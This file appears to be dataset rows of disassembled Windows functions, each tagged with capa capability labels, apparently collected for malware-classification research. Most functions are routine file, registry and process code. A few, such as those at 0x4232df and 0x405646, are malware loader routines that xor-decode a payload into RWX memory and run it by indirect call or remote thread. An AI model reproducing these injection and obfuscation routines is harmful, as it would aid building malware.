joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417b9d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406a60
mov eax, dword [0x42e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00413de5
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x417bdf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x417d3b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421c40
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47d208]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417fc3
mov ecx, dword [esi*4 + 0x47d208]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x417d34
cmp eax, dword [edi + ecx + 0x24]
jne 0x417d34
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417d34
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417fc3
add esp, 0x14
test edx, edx
jl 0x417d34
jg 0x417caa
test eax, eax
jb 0x417d34
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x417d34
jl 0x417cc4
cmp dword [ebp - 0x1008], eax
ja 0x417d34
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x417ce2
test ebx, ebx
je 0x417d1b
cmp ecx, edi
jae 0x417d1b
mov al, byte [ecx]
cmp al, 0xd
jne 0x417cfc
lea eax, [edi - 1]
cmp ecx, eax
jae 0x417d08
cmp byte [ecx + 1], 0xa
jne 0x417d08
inc ecx
jmp 0x417d08
movzx eax, al
movsx eax, byte [eax + 0x42e9b0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x417ce2
cmp edx, ebx
jne 0x417ce2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x417d39
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405cbb
leave
ret
Function at 0x41e995
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47d208]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41e9d5
cmp byte [ebx], 0xa
jne 0x41e9d5
or byte [eax + edi + 0x28], 4
jmp 0x41e9da
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41ead8
mov al, byte [edx]
cmp al, 0x1a
je 0x41eaba
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41ea09
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41ea2e
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41ea38
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41e9eb
jmp 0x41ead8
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41eab5
cmp dword [ebp - 0xc], 0
je 0x41eab5
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47d208]
test byte [eax + edi + 0x28], 0x48
je 0x41ea8f
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41ea7a
mov byte [esi], dl
jmp 0x41ea8b
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47d208]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41ead8
cmp byte [ebp - 1], 0xa
jne 0x41ea9e
cmp esi, ebx
jne 0x41ea9e
mov byte [esi], 0xa
jmp 0x41ead7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00417fe1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41ead8
mov byte [esi], 0xd
jmp 0x41ead7
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47d208]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ead4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ead8
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41eae1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47d208]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41eb24
cmp word [esi], dx
jne 0x41eb24
or byte [edi + eax + 0x28], 4
jmp 0x41eb29
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41ec7c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41ec5c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41eb6b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41eba1
cmp eax, edx
jae 0x41ebad
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41eb43
jmp 0x41ec7c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ec58
cmp dword [ebp - 0x14], 0
je 0x41ec58
mov eax, dword [ebx*4 + 0x47d208]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41ec30
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41ebf9
mov word [esi], cx
jmp 0x41ec2c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47d208]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47d208]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47d208]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41ec7c
pop ebx
cmp word [ebp - 4], bx
jne 0x41ec41
cmp esi, dword [ebp + 0xc]
jne 0x41ec41
mov word [esi], bx
jmp 0x41ec79
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417fe1
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41ec7c
push 0xd
jmp 0x41ec75
mov ecx, dword [ebx*4 + 0x47d208]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ec73
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ec7c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x421a40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x421a6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x421a6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x423000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x2b
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x47c370]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x423021
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x423069
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x423044
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x423091
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x4230aa
dec ebp
or ebp, 0xffffff00
inc ebp
push ecx
call fcn.00401bff
push eax
call fcn.00402f5f
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42eac0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x4d400
jl 0x423080
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405cbb
add esp, 0x214
ret
Function at 0x4232df
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401d41
push 0xc
call fcn.00405cc9
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00423101
mov edi, 0x4ac
mov esi, dword [eax + 4]
lea eax, [esp + 0xc]
push eax
push 0x40
push edi
shl esi, 2
push 0x47bec0
sub esi, 0x40
push 0xffffffffffffffff
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x47bec0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x47bec0], al
inc ecx
cmp ecx, edi
jb 0x42334c
push ecx
push ecx
call section..bss
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x42eac0
push 0x47c048
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 1
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004025eb
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405cbb
mov esp, ebp
pop ebp
ret
Function at 0x1002c9d0
Capabilities:
Check os version
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x1003c008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x10
mov esi, ecx
call fcn.10016903
mov dword [esi], eax
push 0x118
push 0
mov dword [eax], 0
mov eax, dword [esi]
mov dword [eax + 4], 0
mov eax, dword [esi]
mov dword [eax + 8], 0
mov eax, dword [esi]
mov dword [eax + 0xc], 0
lea eax, [ebp - 0x13c]
push eax
call fcn.10018520
add esp, 0x10
mov dword [ebp - 0x140], 0x11c
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1002cb35
cmp dword [ebp - 0x13c], 6
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
ja 0x1002ca6f
jne 0x1002caf0
cmp dword [ebp - 0x138], 2
jb 0x1002caf0
push str.kernel32.dll
call ebx
mov edi, eax
test edi, edi
je 0x1002caf0
push 0x10
push 1
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x1002caf0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1002caf0
movups xmm0, xmmword [0x10036994]
push eax
movups xmmword [ebp - 0x24], xmm0
movups xmm0, xmmword [0x100369a4]
movups xmmword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x1002caf0
lea eax, [ebp - 0x24]
push eax
lea eax, [edi + 6]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1002caf0
cmp word [edi + 2], ax
jbe 0x1002caf0
movzx edx, word [edi + 0x32]
movzx ecx, word [edi + 0x30]
movzx eax, word [edi + 0x36]
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x134], eax
push str.ntdll.dll
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlGetVersion
push eax
call ebx
mov edi, eax
test edi, edi
je 0x1002cb34
push 0x118
lea eax, [ebp - 0x258]
push 0
push eax
call fcn.10018520
add esp, 0xc
mov dword [ebp - 0x25c], 0x11c
lea eax, [ebp - 0x25c]
push eax
call edi
pop edi
cmp dword [ebp - 0x13c], 6
jb 0x1002cb82
push str.UXTHEME.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x1002cb82
push str.GetBufferedPaintBits
push eax
call ebx
mov ecx, dword [esi]
push str.BeginBufferedPaint
mov dword [ecx + 4], eax
mov eax, dword [esi]
push dword [eax]
call ebx
mov ecx, dword [esi]
push str.EndBufferedPaint
mov dword [ecx + 8], eax
mov ecx, dword [esi]
push dword [ecx]
call ebx
mov ecx, dword [esi]
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10016207
mov esp, ebp
pop ebp
ret

Function at 0x44ead8
Capabilities:
Encode data using xor

Disassembly:
push 0
call 0x44ead8
mov dword [0], eax
add esp, 8
jmp fcn.008ecf5c
Function at 0x405646
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x405655
pop dword [ebp - 0x10]
mov eax, 0xaf093129
sub eax, 0xaec8dad4
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x3c47c65c
sub dword [ebp - 0x20], 0xedf58111
mov dword [ebp - 0x1c], 0x43a59eb0
add dword [ebp - 0x1c], 0xee8dad95
mov dword [ebp - 0x18], 0xc3cd60fb
add dword [ebp - 0x18], 0x887ee333
mov dword [ebp - 0x14], 0xf9111cac
add dword [ebp - 0x14], 0x6eee354
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x4daff626
sub dword [ebp - 0x20], 0xd93d8cd0
mov dword [ebp - 0x1c], 0xcfb23692
sub dword [ebp - 0x1c], 0x8e45d51d
mov dword [ebp - 0x18], 0xe774734f
add dword [ebp - 0x18], 0x7bfaf91d
mov dword [ebp - 0x14], 0xb87c873
add dword [ebp - 0x14], 0xf478378d
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x2a3a0f70
add eax, 0xd60661a0
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x394a7
push 0
call eax
mov ecx, 0xdd25f583
sub ecx, 0xdd25a407
mov esi, eax
mov edx, 0x13816f75
sub edx, 0x133e0f75
add edx, dword [ebp - 0x10]
mov ebx, 0xedc859bd
add ebx, 0xd7a72820
xor dword [ebp - 4], edi
mov edi, dword [edx]
mov dword [ebp - 8], 0x48f96fa6
xor edi, ebx
add dword [ebp - 4], 0xf798aa9f
mov dword [esi], edi
add dword [ebp - 0xc], 0x4fde42e9
add esi, 4
add edx, 4
loop 0x405772
add eax, 0x138c3
mov ebx, eax
add eax, 5
mov ecx, 0x6fbd4711
add ecx, 0x9082b8ef
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x4058f5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x421968
push esi
call fcn.00405d21
push esi
call fcn.004058a8
mov edi, eax
test edi, edi
jne 0x405916
xor eax, eax
jmp 0x405968
push edi
call fcn.00405f83
test byte [0x423f78], 0x80
je 0x40592f
mov al, byte [edi]
test al, al
je 0x405912
cmp al, 0x5c
je 0x405912
sub edi, esi
jmp 0x405947
call fcn.0040601c
test eax, eax
je 0x405941
test byte [eax], 0x10
je 0x405912
push esi
call fcn.0040585b
push esi
call sub.kernel32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405933
call fcn.00405814
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x4059d9
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4059f5
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
ret 4

Function at 0x4059f8
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileA]
ret 0xc
Function at 0x1003c58
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [ebp + 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
test eax, eax
jne 0x1003c96
push 3
push 1
push 0x10
push eax
push 0xffffffffffffffff
push dword [0x1005304]
jmp loc.01007000
pop ebp
ret 4
Function at 0x402800
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426d7e
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x4321c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov dword [ebp - 0x14], 1
push 0x44
push 0
lea eax, [ebp - 0x6c]
push eax
call fcn.004106f0
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.004106f0
add esp, 0xc
mov dword [ebp - 0x6c], 0x44
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp + 0x20]
call fcn.00409df0
push eax
push 0
push 0x8000000
push 0
push 0
push 0
lea ecx, [ebp + 8]
call fcn.00409df0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4028c1
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp eax, 1
jne 0x4028c1
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00405db0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00405db0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x402910
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426db7
mov eax, dword fs:[0]
push eax
sub esp, 0x2cc
mov eax, dword [0x4321c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xor eax, eax
mov word [ebp - 0x218], ax
push 0x206
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.004106f0
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.00404f80
mov byte [ebp - 4], 1
push str.dimchain.log
lea ecx, [ebp - 0x230]
call fcn.004069f0
push 1
lea ecx, [ebp - 0x2d8]
call fcn.00404b50
mov byte [ebp - 4], 2
push 0x40
push 8
lea ecx, [ebp - 0x230]
push ecx
lea ecx, [ebp - 0x2d8]
call fcn.0040c1e0
mov edx, dword [0x433b6c]
push edx
lea ecx, [ebp - 0x2d8]
call fcn.004065d0
push 0x4286ac
lea eax, [ebp - 0x2d8]
push eax
call fcn.004035a0
add esp, 8
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp - 0x2d8]
push edx
call fcn.00403910
add esp, 8
push 0x4286b0
lea eax, [ebp - 0x2d8]
push eax
call fcn.004035a0
add esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2d8]
call fcn.00406a90
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.00405db0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00405db0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040fd44
mov esp, ebp
pop ebp
ret
Function at 0x402fc0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov byte [ebp - 1], 0
push str.GlobalDIMCHAIN_MUTEX_NAME_7E866ADC_1A3F_42FC_A1EC_0BBED462C4AE
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x433b68], eax
cmp dword [0x433b68], 0
je 0x402ff2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402ff6
mov byte [ebp - 1], 1
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x403390
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426fe3
mov eax, dword fs:[0]
push eax
sub esp, 0xb4
mov eax, dword [0x4321c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov word [ebp - 0x74], ax
push 0x62
push 0
lea ecx, [ebp - 0x72]
push ecx
call fcn.004106f0
add esp, 0xc
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0x32
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
lea edx, [ebp - 0xa8]
push edx
push 0x20019
push 0
push str.SOFTWARECorelCUH2.0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 0xa8], 0
je 0x4034fc
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0x74]
push ecx
push 0
push 0
push str.version
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4034ef
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x8c]
call fcn.00404f80
mov dword [ebp - 4], 0
push 0
push 0x2e
lea ecx, [ebp - 0x8c]
call fcn.0040b8c0
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0xffffffff
je 0x4034dd
push 0xa
push 0
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xb0]
add ecx, 1
push ecx
lea edx, [ebp - 0xa4]
push edx
lea ecx, [ebp - 0x8c]
call fcn.0040d500
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xb8], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0xb8]
push ecx
call fcn.0040d450
add esp, 0xc
mov dword [ebp - 0xac], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa4]
call fcn.00405db0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8c]
call fcn.00405db0
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040fd44
mov esp, ebp
pop ebp
ret